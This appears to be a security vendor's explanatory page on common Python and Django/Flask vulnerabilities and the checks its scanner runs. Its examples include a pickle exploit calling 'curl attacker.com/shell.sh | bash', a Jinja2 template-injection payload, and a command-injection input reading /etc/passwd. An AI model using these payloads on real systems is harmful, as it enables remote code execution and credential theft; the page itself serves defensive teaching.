Languages

Python Security: Common Vulnerabilities in Django Flask and Python Applications

SQL injection pickle deserialization command injection and more

Common Python Vulnerabilities

Python's readability and vast ecosystem make it the language of choice for web applications, data pipelines, machine learning, and automation scripts. That ubiquity means Python code is a high-value target for attackers.

The most prevalent Python vulnerability classes include:

  • Injection attacks (CWE-78, CWE-89): SQL injection through raw queries, command injection via os.system() and subprocess.call(shell=True), and code injection through eval() and exec().
  • Insecure deserialization (CWE-502): Python's pickle module executes arbitrary code during deserialization. yaml.load() without SafeLoader and marshal.loads() carry the same risk.
  • Server-side template injection (SSTI) (CWE-1336): Jinja2's render_template_string() with user input enables full server compromise through Python's introspection capabilities.
  • Path traversal (CWE-22): Unsafe open() calls and os.path.join() with user-controlled input allowing access to arbitrary files.
  • Hardcoded secrets: Django SECRET_KEY, database connection strings, and API credentials embedded in settings files or source code.
  • Weak cryptography: Use of md5(), sha1() for password hashing, random module for security-sensitive operations instead of secrets.

Python's dynamic typing and powerful introspection capabilities make certain attacks (SSTI, pickle RCE) uniquely dangerous compared to statically typed languages.

How Python Attacks Work

Python-specific attack vectors exploit the language's dynamic features in ways that generic static analysis tools frequently miss.

Pickle Deserialization RCE

Python's pickle module can instantiate arbitrary objects and call their methods during deserialization. An attacker crafts a pickled object that executes system commands:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | bash',))

# Attacker sends this pickled payload
payload = pickle.dumps(Exploit())
# Victim deserializes it
pickle.loads(payload)  # Executes the shell command

Jinja2 Template Injection

When user input reaches render_template_string(), attackers use Python's introspection to escape the sandbox:

# VULNERABLE: User input in template
from flask import render_template_string
render_template_string(user_input)
# Attacker sends: {{ config.items() }}
# Or for RCE: {{ ''.__class__.__mro__[1].__subclasses__() }}

Command Injection

# VULNERABLE: shell=True with user input
import subprocess
subprocess.call('ping ' + user_host, shell=True)
# Attacker sends: 127.0.0.1; cat /etc/passwd

These attacks succeed because Python's dynamic nature allows runtime object manipulation, introspection, and shell access—features that are powerful for development but dangerous when exposed to untrusted input.

Real-World Python Breaches

Python vulnerabilities have caused significant security incidents across web applications, data infrastructure, and the Python packaging ecosystem:

  • PyPI supply chain attacks (2022-2024): Attackers uploaded hundreds of malicious packages to PyPI using typosquatting (reqeusts, python-binance), dependency confusion, and compromised maintainer accounts. Some packages exfiltrated environment variables, AWS credentials, and SSH keys.
  • Django SQL injection (CVE-2022-28346): A vulnerability in QuerySet.annotate(), aggregate(), and extra() allowed SQL injection through crafted column aliases, affecting thousands of production Django applications.
  • Pickle deserialization in ML pipelines: Multiple organizations have been compromised through malicious pickle files in machine learning model exchanges. The Hugging Face community reported several incidents of model files containing embedded reverse shells.
  • Flask debug mode in production: The Werkzeug debugger exposes an interactive Python console. Multiple production systems have been discovered with debug mode enabled, providing unauthenticated remote code execution.

Python's ecosystem breadth—from web frameworks to data science to DevOps tooling—means vulnerabilities often span multiple domains and affect infrastructure beyond just the web application layer.

How CodeSlick Covers Python (47 Checks)

CodeSlick's Python analyzer performs 47 security checks built specifically for the Python threat landscape:

  • Injection detection: SQL injection (raw queries, ORM bypass), command injection (os.system, subprocess with shell=True), and code injection (eval, exec).
  • Deserialization scanning: Detects pickle.loads(), yaml.load() without SafeLoader, and marshal.loads() with untrusted data sources.
  • Framework coverage: Django-specific checks (raw SQL, DEBUG mode, missing decorators, mark_safe misuse), Flask checks (debug mode, template injection, hardcoded secret_key), and FastAPI validation gaps.
  • Dependency scanning: Checks pip packages against OSV.dev for known vulnerabilities and flags 66 known malicious packages.
  • Secrets detection: 38 patterns covering Django SECRET_KEY, database URLs, AWS credentials, and API tokens.
  • AI code detection: 150 signals identifying AI-generated Python including hallucinated imports, fabricated function names, and insecure patterns from Copilot and ChatGPT.

All findings include CWE classification, CVSS 3.1 severity scoring, and OWASP Top 10:2025 mapping. Scan your Python code at /analyze for free.

Scan your Python code for 47 security vulnerabilities covering Django, Flask, and core Python in under 3 seconds.

Frequently Asked Questions

Related Guides

Python Security: Common Vulnerabilities in Django Flask and Python Applications | CodeSlick Security Scanner